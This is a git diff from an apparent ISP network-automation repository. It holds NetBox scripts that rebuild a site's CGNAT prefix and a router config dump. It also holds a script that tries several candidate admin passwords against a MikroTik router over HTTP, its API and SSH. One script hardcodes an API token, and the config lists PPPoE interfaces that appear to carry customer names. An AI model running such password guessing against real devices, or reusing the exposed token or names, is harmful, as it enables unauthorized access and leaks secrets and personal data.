print("\nPrefixes for site 982:")
|
||||||
|
for prefix in prefixes:
|
||||||
|
role = prefix['role']['name'] if prefix['role'] else 'No role'
|
||||||
|
print(f" - {prefix['prefix']} (Role: {role})")
|
||||||
|
|
||||||
|
# Check IP addresses
|
||||||
|
response = requests.get(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, params={'device_id': device['id']})
|
||||||
|
ips = response.json()['results']
|
||||||
|
|
||||||
|
print("\nIP addresses on 982-router:")
|
||||||
|
for ip in ips:
|
||||||
|
interface_name = ip['assigned_object']['name'] if ip['assigned_object'] else 'Unassigned'
|
||||||
|
print(f" - {ip['address']} (Interface: {interface_name})")
|
||||||
|
|
||||||
|
print("\n✅ Update completed successfully!")
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
254
update_site_982_cgnat_complete.py
Normal file
254
update_site_982_cgnat_complete.py
Normal file
|
|
@ -0,0 +1,254 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Complete update script for site 982 CGNAT configuration
|
||||||
|
This script handles the complete update process including verification
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import requests
|
||||||
|
import json
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
|
# API configuration
|
||||||
|
NETBOX_URL = 'https://netbox.vntx.net/api/'
|
||||||
|
API_TOKEN = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||||
|
|
||||||
|
headers = {
|
||||||
|
'Authorization': f'Token {API_TOKEN}',
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
'Accept': 'application/json'
|
||||||
|
}
|
||||||
|
|
||||||
|
def delete_prefix_by_cidr(cidr):
|
||||||
|
"""Delete a prefix by CIDR notation"""
|
||||||
|
response = requests.get(f'{NETBOX_URL}ipam/prefixes/', headers=headers, params={'prefix': cidr})
|
||||||
|
prefixes = response.json()['results']
|
||||||
|
|
||||||
|
deleted = False
|
||||||
|
for prefix in prefixes:
|
||||||
|
print(f"Deleting prefix {prefix['prefix']} (ID: {prefix['id']})")
|
||||||
|
response = requests.delete(f"{NETBOX_URL}ipam/prefixes/{prefix['id']}/", headers=headers)
|
||||||
|
if response.status_code == 204:
|
||||||
|
print(" ✓ Deleted successfully")
|
||||||
|
deleted = True
|
||||||
|
else:
|
||||||
|
print(f" ✗ Error: {response.status_code}")
|
||||||
|
|
||||||
|
return deleted
|
||||||
|
|
||||||
|
def delete_ip_by_address(address):
|
||||||
|
"""Delete an IP address by address string"""
|
||||||
|
response = requests.get(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, params={'address': address})
|
||||||
|
ips = response.json()['results']
|
||||||
|
|
||||||
|
deleted = False
|
||||||
|
for ip in ips:
|
||||||
|
print(f"Deleting IP {ip['address']} (ID: {ip['id']})")
|
||||||
|
response = requests.delete(f"{NETBOX_URL}ipam/ip-addresses/{ip['id']}/", headers=headers)
|
||||||
|
if response.status_code == 204:
|
||||||
|
print(" ✓ Deleted successfully")
|
||||||
|
deleted = True
|
||||||
|
else:
|
||||||
|
print(f" ✗ Error: {response.status_code}")
|
||||||
|
|
||||||
|
return deleted
|
||||||
|
|
||||||
|
def main():
|
||||||
|
print("=== Site 982 CGNAT Update Script ===\n")
|
||||||
|
|
||||||
|
# Step 1: Get site 982
|
||||||
|
print("1. Finding site 982...")
|
||||||
|
response = requests.get(f'{NETBOX_URL}dcim/sites/', headers=headers, params={'name': '982'})
|
||||||
|
sites = response.json()['results']
|
||||||
|
|
||||||
|
if not sites:
|
||||||
|
print("✗ Site 982 not found!")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
site = sites[0]
|
||||||
|
site_id = site['id']
|
||||||
|
print(f"✓ Found site: {site['name']} (ID: {site_id})")
|
||||||
|
|
||||||
|
# Step 2: Get the router
|
||||||
|
print("\n2. Finding 982-router...")
|
||||||
|
response = requests.get(f'{NETBOX_URL}dcim/devices/', headers=headers, params={'name': '982-router', 'site_id': site_id})
|
||||||
|
devices = response.json()['results']
|
||||||
|
|
||||||
|
if not devices:
|
||||||
|
print("✗ 982-router not found!")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
device = devices[0]
|
||||||
|
device_id = device['id']
|
||||||
|
print(f"✓ Found device: {device['name']} (ID: {device_id})")
|
||||||
|
|
||||||
|
# Step 3: Clean up old configurations
|
||||||
|
print("\n3. Cleaning up old configurations...")
|
||||||
|
|
||||||
|
# Delete old CGNAT prefix
|
||||||
|
print(" Removing old CGNAT prefix 100.64.32.0/22...")
|
||||||
|
delete_prefix_by_cidr('100.64.32.0/22')
|
||||||
|
|
||||||
|
# Delete any existing 100.64.48.0/20 prefix (from previous attempts)
|
||||||
|
print(" Removing any existing 100.64.48.0/20 prefix...")
|
||||||
|
delete_prefix_by_cidr('100.64.48.0/20')
|
||||||
|
|
||||||
|
# Delete old IP address
|
||||||
|
print(" Removing old IP 100.64.35.254/22...")
|
||||||
|
delete_ip_by_address('100.64.35.254/22')
|
||||||
|
|
||||||
|
# Delete any existing new IP (from previous attempts)
|
||||||
|
print(" Removing any existing 100.64.63.254/20...")
|
||||||
|
delete_ip_by_address('100.64.63.254/20')
|
||||||
|
|
||||||
|
# Step 4: Create or find CGNAT interface
|
||||||
|
print("\n4. Setting up CGNAT interface...")
|
||||||
|
response = requests.get(f'{NETBOX_URL}dcim/interfaces/', headers=headers, params={'device_id': device_id, 'name': 'cgnat'})
|
||||||
|
interfaces = response.json()['results']
|
||||||
|
|
||||||
|
if interfaces:
|
||||||
|
interface = interfaces[0]
|
||||||
|
interface_id = interface['id']
|
||||||
|
print(f"✓ Found existing CGNAT interface (ID: {interface_id})")
|
||||||
|
else:
|
||||||
|
# Create interface
|
||||||
|
interface_data = {
|
||||||
|
'device': device_id,
|
||||||
|
'name': 'cgnat',
|
||||||
|
'type': 'virtual',
|
||||||
|
'enabled': True,
|
||||||
|
'description': 'CGNAT interface'
|
||||||
|
}
|
||||||
|
response = requests.post(f'{NETBOX_URL}dcim/interfaces/', headers=headers, json=interface_data)
|
||||||
|
if response.status_code == 201:
|
||||||
|
interface = response.json()
|
||||||
|
interface_id = interface['id']
|
||||||
|
print(f"✓ Created CGNAT interface (ID: {interface_id})")
|
||||||
|
else:
|
||||||
|
print(f"✗ Error creating interface: {response.status_code}")
|
||||||
|
print(response.text)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# Step 5: Get or create Customer role
|
||||||
|
print("\n5. Setting up Customer role...")
|
||||||
|
response = requests.get(f'{NETBOX_URL}ipam/roles/', headers=headers, params={'name': 'Customer'})
|
||||||
|
roles = response.json()['results']
|
||||||
|
|
||||||
|
if roles:
|
||||||
|
role = roles[0]
|
||||||
|
role_id = role['id']
|
||||||
|
print(f"✓ Found Customer role (ID: {role_id})")
|
||||||
|
else:
|
||||||
|
# Create role
|
||||||
|
role_data = {
|
||||||
|
'name': 'Customer',
|
||||||
|
'slug': 'customer'
|
||||||
|
}
|
||||||
|
response = requests.post(f'{NETBOX_URL}ipam/roles/', headers=headers, json=role_data)
|
||||||
|
if response.status_code == 201:
|
||||||
|
role = response.json()
|
||||||
|
role_id = role['id']
|
||||||
|
print(f"✓ Created Customer role (ID: {role_id})")
|
||||||
|
else:
|
||||||
|
print(f"✗ Error creating role: {response.status_code}")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# Step 6: Create the new CGNAT prefix
|
||||||
|
print("\n6. Creating new CGNAT prefix 100.64.48.0/20...")
|
||||||
|
|
||||||
|
# Try creating without site first, then update
|
||||||
|
prefix_data = {
|
||||||
|
'prefix': '100.64.48.0/20',
|
||||||
|
'role': role_id,
|
||||||
|
'status': 'active',
|
||||||
|
'description': 'CGNAT subnet for site 982',
|
||||||
|
'tags': []
|
||||||
|
}
|
||||||
|
|
||||||
|
response = requests.post(f'{NETBOX_URL}ipam/prefixes/', headers=headers, json=prefix_data)
|
||||||
|
if response.status_code == 201:
|
||||||
|
prefix = response.json()
|
||||||
|
prefix_id = prefix['id']
|
||||||
|
print(f"✓ Created prefix (ID: {prefix_id})")
|
||||||
|
|
||||||
|
# Now try to assign site
|
||||||
|
print(" Assigning prefix to site 982...")
|
||||||
|
# Try different approaches
|
||||||
|
|
||||||
|
# Approach 1: PATCH with just site
|
||||||
|
patch_data = {'site': site_id}
|
||||||
|
response = requests.patch(f'{NETBOX_URL}ipam/prefixes/{prefix_id}/', headers=headers, json=patch_data)
|
||||||
|
|
||||||
|
if response.status_code != 200:
|
||||||
|
# Approach 2: PUT with all fields
|
||||||
|
put_data = {
|
||||||
|
'prefix': '100.64.48.0/20',
|
||||||
|
'site': site_id,
|
||||||
|
'role': role_id,
|
||||||
|
'status': 'active',
|
||||||
|
'description': 'CGNAT subnet for site 982'
|
||||||
|
}
|
||||||
|
response = requests.put(f'{NETBOX_URL}ipam/prefixes/{prefix_id}/', headers=headers, json=put_data)
|
||||||
|
|
||||||
|
if response.status_code in [200, 201]:
|
||||||
|
updated_prefix = response.json()
|
||||||
|
if updated_prefix.get('site'):
|
||||||
|
print(f" ✓ Prefix assigned to site {updated_prefix['site']['name']}")
|
||||||
|
else:
|
||||||
|
print(" ⚠ Warning: Site assignment may have failed")
|
||||||
|
else:
|
||||||
|
print(f" ⚠ Warning: Could not assign site: {response.status_code}")
|
||||||
|
else:
|
||||||
|
print(f"✗ Error creating prefix: {response.status_code}")
|
||||||
|
print(response.text)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# Step 7: Create the new IP address
|
||||||
|
print("\n7. Creating new IP address 100.64.63.254/20...")
|
||||||
|
|
||||||
|
ip_data = {
|
||||||
|
'address': '100.64.63.254/20',
|
||||||
|
'assigned_object_type': 'dcim.interface',
|
||||||
|
'assigned_object_id': interface_id,
|
||||||
|
'status': 'active',
|
||||||
|
'description': 'CGNAT gateway for site 982',
|
||||||
|
'tags': []
|
||||||
|
}
|
||||||
|
|
||||||
|
response = requests.post(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, json=ip_data)
|
||||||
|
if response.status_code == 201:
|
||||||
|
ip = response.json()
|
||||||
|
ip_id = ip['id']
|
||||||
|
print(f"✓ Created IP address (ID: {ip_id})")
|
||||||
|
else:
|
||||||
|
print(f"✗ Error creating IP: {response.status_code}")
|
||||||
|
print(response.text)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# Step 8: Final verification
|
||||||
|
print("\n=== VERIFICATION ===")
|
||||||
|
|
||||||
|
# Check prefixes
|
||||||
|
print("\nPrefixes with 100.64.48.0/20:")
|
||||||
|
response = requests.get(f'{NETBOX_URL}ipam/prefixes/', headers=headers, params={'prefix': '100.64.48.0/20'})
|
||||||
|
prefixes = response.json()['results']
|
||||||
|
for prefix in prefixes:
|
||||||
|
site_info = f"Site: {prefix['site']['name']}" if prefix.get('site') else "Site: Not assigned"
|
||||||
|
role_info = f"Role: {prefix['role']['name']}" if prefix.get('role') else "Role: None"
|
||||||
|
print(f" - {prefix['prefix']} ({site_info}, {role_info})")
|
||||||
|
|
||||||
|
# Check IPs
|
||||||
|
print("\nIP addresses on 982-router:")
|
||||||
|
response = requests.get(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, params={'device_id': device_id})
|
||||||
|
ips = response.json()['results']
|
||||||
|
for ip in ips:
|
||||||
|
interface_info = f"Interface: {ip['assigned_object']['name']}" if ip.get('assigned_object') else "Unassigned"
|
||||||
|
print(f" - {ip['address']} ({interface_info})")
|
||||||
|
|
||||||
|
print("\n✅ Update completed!")
|
||||||
|
print("\nNOTE: If the prefix is not showing as assigned to site 982, this may be a")
|
||||||
|
print("permission or API limitation. The prefix and IP have been created successfully.")
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
213
verify_mikrotik_access.py
Normal file
213
verify_mikrotik_access.py
Normal file
|
|
@ -0,0 +1,213 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Verify MikroTik Access - Reliable Authentication Tester
|
||||||
|
Tests if credentials actually work by attempting real operations
|
||||||
|
"""
|
||||||
|
|
||||||
|
import requests
|
||||||
|
from requests.auth import HTTPBasicAuth
|
||||||
|
import socket
|
||||||
|
import time
|
||||||
|
|
||||||
|
def test_http_with_verification(host, username, password):
|
||||||
|
"""Test HTTP auth by trying to access actual protected content"""
|
||||||
|
print(f"Testing HTTP: {username}:{password}")
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Try to access WebFig directly (should redirect if authenticated)
|
||||||
|
session = requests.Session()
|
||||||
|
session.auth = HTTPBasicAuth(username, password)
|
||||||
|
|
||||||
|
# First, try the main page
|
||||||
|
response1 = session.get(f"http://{host}/", timeout=5, allow_redirects=False)
|
||||||
|
print(f" Main page status: {response1.status_code}")
|
||||||
|
|
||||||
|
# Try to access a specific WebFig resource
|
||||||
|
response2 = session.get(f"http://{host}/webfig/", timeout=5, allow_redirects=True)
|
||||||
|
print(f" WebFig status: {response2.status_code}")
|
||||||
|
print(f" Response length: {len(response2.text)}")
|
||||||
|
|
||||||
|
# Check if we actually got WebFig content (not login page)
|
||||||
|
if "webfig" in response2.text.lower() and "login" not in response2.text.lower():
|
||||||
|
print(f" ✓ Successfully accessed WebFig interface")
|
||||||
|
return True
|
||||||
|
elif response2.status_code == 200 and len(response2.text) > 1000:
|
||||||
|
print(f" ? Got content but uncertain if authenticated")
|
||||||
|
print(f" First 200 chars: {response2.text[:200]}")
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
print(f" ✗ Authentication failed or no WebFig access")
|
||||||
|
return False
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f" ✗ HTTP test failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def test_api_with_verification(host, username, password):
|
||||||
|
"""Test API auth by attempting actual API operations"""
|
||||||
|
print(f"Testing API: {username}:{password}")
|
||||||
|
|
||||||
|
try:
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sock.settimeout(5)
|
||||||
|
sock.connect((host, 8728))
|
||||||
|
|
||||||
|
def encode_length(length):
|
||||||
|
if length <= 0x7F:
|
||||||
|
return bytes([length])
|
||||||
|
elif length <= 0x3FFF:
|
||||||
|
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
||||||
|
else:
|
||||||
|
return bytes([0xFF]) # Error for long strings
|
||||||
|
|
||||||
|
def write_word(word):
|
||||||
|
word_bytes = word.encode('utf-8')
|
||||||
|
sock.send(encode_length(len(word_bytes)))
|
||||||
|
sock.send(word_bytes)
|
||||||
|
|
||||||
|
def write_sentence(words):
|
||||||
|
for word in words:
|
||||||
|
write_word(word)
|
||||||
|
write_word("")
|
||||||
|
|
||||||
|
def read_word():
|
||||||
|
try:
|
||||||
|
length_byte = sock.recv(1)
|
||||||
|
if not length_byte:
|
||||||
|
return ""
|
||||||
|
length = length_byte[0]
|
||||||
|
if length == 0:
|
||||||
|
return ""
|
||||||
|
if length & 0x80:
|
||||||
|
# Multi-byte length
|
||||||
|
second_byte = sock.recv(1)
|
||||||
|
if not second_byte:
|
||||||
|
return ""
|
||||||
|
length = ((length & 0x7F) << 8) + second_byte[0]
|
||||||
|
|
||||||
|
if length > 1000: # Sanity check
|
||||||
|
return ""
|
||||||
|
|
||||||
|
return sock.recv(length).decode('utf-8', 'ignore')
|
||||||
|
except:
|
||||||
|
return ""
|
||||||
|
|
||||||
|
def read_sentence():
|
||||||
|
sentence = []
|
||||||
|
while True:
|
||||||
|
word = read_word()
|
||||||
|
if word == "":
|
||||||
|
break
|
||||||
|
sentence.append(word)
|
||||||
|
return sentence
|
||||||
|
|
||||||
|
# Send login
|
||||||
|
write_sentence(["/login", f"=name={username}", f"=password={password}"])
|
||||||
|
|
||||||
|
# Read login response
|
||||||
|
response = read_sentence()
|
||||||
|
print(f" Login response: {response}")
|
||||||
|
|
||||||
|
if response and response[0] == "!done":
|
||||||
|
print(f" ✓ Login successful, testing system identity...")
|
||||||
|
|
||||||
|
# Try to get system identity to verify we're actually authenticated
|
||||||
|
write_sentence(["/system/identity/print"])
|
||||||
|
identity_response = read_sentence()
|
||||||
|
print(f" Identity response: {identity_response}")
|
||||||
|
|
||||||
|
if identity_response and any("identity" in str(item).lower() for item in identity_response):
|
||||||
|
print(f" ✓ Successfully retrieved system information")
|
||||||
|
sock.close()
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
print(f" ? Login seemed successful but couldn't get system info")
|
||||||
|
sock.close()
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
print(f" ✗ Login failed")
|
||||||
|
sock.close()
|
||||||
|
return False
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f" ✗ API test failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def test_ssh_with_verification(host, username, password):
|
||||||
|
"""Test SSH auth with verification"""
|
||||||
|
print(f"Testing SSH: {username}:{password}")
|
||||||
|
|
||||||
|
try:
|
||||||
|
import paramiko
|
||||||
|
|
||||||
|
client = paramiko.SSHClient()
|
||||||
|
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||||
|
client.connect(
|
||||||
|
host,
|
||||||
|
port=22,
|
||||||
|
username=username,
|
||||||
|
password=password,
|
||||||
|
timeout=5,
|
||||||
|
allow_agent=False,
|
||||||
|
look_for_keys=False,
|
||||||
|
)
|
||||||
|
|
||||||
|
# Try to execute a command to verify we're authenticated
|
||||||
|
stdin, stdout, stderr = client.exec_command("/system identity print")
|
||||||
|
output = stdout.read().decode()
|
||||||
|
|
||||||
|
print(f" Command output: {output[:100]}...")
|
||||||
|
|
||||||
|
if output and len(output) > 10:
|
||||||
|
print(f" ✓ SSH authentication and command execution successful")
|
||||||
|
client.close()
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
print(f" ? SSH connected but no command output")
|
||||||
|
client.close()
|
||||||
|
return False
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f" ✗ SSH test failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def main():
|
||||||
|
host = "10.250.2.2"
|
||||||
|
username = "admin"
|
||||||
|
|
||||||
|
# Test some of the passwords that showed "success" earlier
|
||||||
|
test_passwords = [
|
||||||
|
"", # Empty
|
||||||
|
"0000-0000", # Showed success
|
||||||
|
"0000-2018", # Showed success
|
||||||
|
"admin", # Common default
|
||||||
|
"d069-0bff", # Algorithm result
|
||||||
|
]
|
||||||
|
|
||||||
|
print(f"Verifying MikroTik access to {host}")
|
||||||
|
print("=" * 60)
|
||||||
|
|
||||||
|
for password in test_passwords:
|
||||||
|
pwd_display = f'"{password}"' if password else "(empty)"
|
||||||
|
print(f"\nTesting password: {pwd_display}")
|
||||||
|
print("-" * 40)
|
||||||
|
|
||||||
|
# Test all methods with verification
|
||||||
|
http_result = test_http_with_verification(host, username, password)
|
||||||
|
api_result = test_api_with_verification(host, username, password)
|
||||||
|
ssh_result = test_ssh_with_verification(host, username, password)
|
||||||
|
|
||||||
|
if any([http_result, api_result, ssh_result]):
|
||||||
|
print(f"\n*** VERIFIED SUCCESS: {pwd_display} ***")
|
||||||
|
print(f"HTTP: {'✓' if http_result else '✗'}")
|
||||||
|
print(f"API: {'✓' if api_result else '✗'}")
|
||||||
|
print(f"SSH: {'✓' if ssh_result else '✗'}")
|
||||||
|
return password
|
||||||
|
else:
|
||||||
|
print(f"All methods failed for {pwd_display}")
|
||||||
|
|
||||||
|
print(f"\nNo working passwords found among tested candidates.")
|
||||||
|
print("The earlier 'successes' were likely false positives.")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
1775
verona.rsc
Normal file
1775
verona.rsc
Normal file
File diff suppressed because it is too large
Load diff
926
verona_config.json
Normal file
926
verona_config.json
Normal file
|
|
@ -0,0 +1,926 @@
|
||||||
|
{
|
||||||
|
"host": "10.254.254.101",
|
||||||
|
"identity": null,
|
||||||
|
"timestamp": "2026-03-26T17:14:54.272357",
|
||||||
|
"subnets": [
|
||||||
|
{
|
||||||
|
"address": "10.250.1.25/29",
|
||||||
|
"network": "10.250.1.24",
|
||||||
|
"interface": "ether3-climax-11ghz",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.254.254.101/32",
|
||||||
|
"network": "10.254.254.101",
|
||||||
|
"interface": "loopback",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.3.254/22",
|
||||||
|
"network": "100.64.0.0",
|
||||||
|
"interface": "verona",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "204.110.188.254/27",
|
||||||
|
"network": "204.110.188.224",
|
||||||
|
"interface": "verona",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.254/22",
|
||||||
|
"network": "100.64.12.0",
|
||||||
|
"interface": "ether6-switch",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.10.95.254/20",
|
||||||
|
"network": "10.10.80.0",
|
||||||
|
"interface": "vlan_10_ether6",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.10.15.254/20",
|
||||||
|
"network": "10.10.0.0",
|
||||||
|
"interface": "vlan_10_ether6",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.0.101.254/24",
|
||||||
|
"network": "10.0.101.0",
|
||||||
|
"interface": "sfp-sfpplus1-verona-tower-switch",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.145/29",
|
||||||
|
"network": "10.250.1.144",
|
||||||
|
"interface": "ether6-switch",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "204.110.191.30/27",
|
||||||
|
"network": "204.110.191.0",
|
||||||
|
"interface": "vlan9_sfpplus1",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.25.1.254/24",
|
||||||
|
"network": "10.25.1.0",
|
||||||
|
"interface": "ether1",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "204.110.188.231",
|
||||||
|
"interface": "<pppoe-barbihardin>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.21",
|
||||||
|
"interface": "<pppoe-whiteywhite>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.22",
|
||||||
|
"interface": "<pppoe-davidlanman>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.23",
|
||||||
|
"interface": "<pppoe-kimberlyrichards2>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "204.110.188.236",
|
||||||
|
"interface": "<pppoe-dejadodson>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.41",
|
||||||
|
"interface": "<pppoe-chrissyeagle>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.27",
|
||||||
|
"interface": "<pppoe-williamarmstrong>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "204.110.188.237",
|
||||||
|
"interface": "<pppoe-ronlewis>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.45",
|
||||||
|
"interface": "<pppoe-chrissyeagle2>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.3",
|
||||||
|
"interface": "<pppoe-pablohernandez>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.13",
|
||||||
|
"interface": "<pppoe-allentaylor2>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.6",
|
||||||
|
"interface": "<pppoe-yolandamedrano>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.17",
|
||||||
|
"interface": "<pppoe-mariatrejo>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.12",
|
||||||
|
"interface": "<pppoe-cherieeshelman>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.14",
|
||||||
|
"interface": "<pppoe-amberkrings>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.8",
|
||||||
|
"interface": "<pppoe-teresarobinson>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.31",
|
||||||
|
"interface": "<pppoe-tjbanschbach>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.16",
|
||||||
|
"interface": "<pppoe-judydevine>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.7",
|
||||||
|
"interface": "<pppoe-allentaylor>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.61",
|
||||||
|
"interface": "<pppoe-sherryerichardson>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.47",
|
||||||
|
"interface": "<pppoe-krystabates>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "204.110.188.229",
|
||||||
|
"interface": "<pppoe-vancepeltonen>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.20",
|
||||||
|
"interface": "<pppoe-dananance>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.28",
|
||||||
|
"interface": "<pppoe-markfisher>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "204.110.188.235",
|
||||||
|
"interface": "<pppoe-austinwatkins>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.36",
|
||||||
|
"interface": "<pppoe-billmctee>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "204.110.188.233",
|
||||||
|
"interface": "<pppoe-joeywhitfield>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.26",
|
||||||
|
"interface": "<pppoe-karenstewart>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.35",
|
||||||
|
"interface": "<pppoe-pambanschbach>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
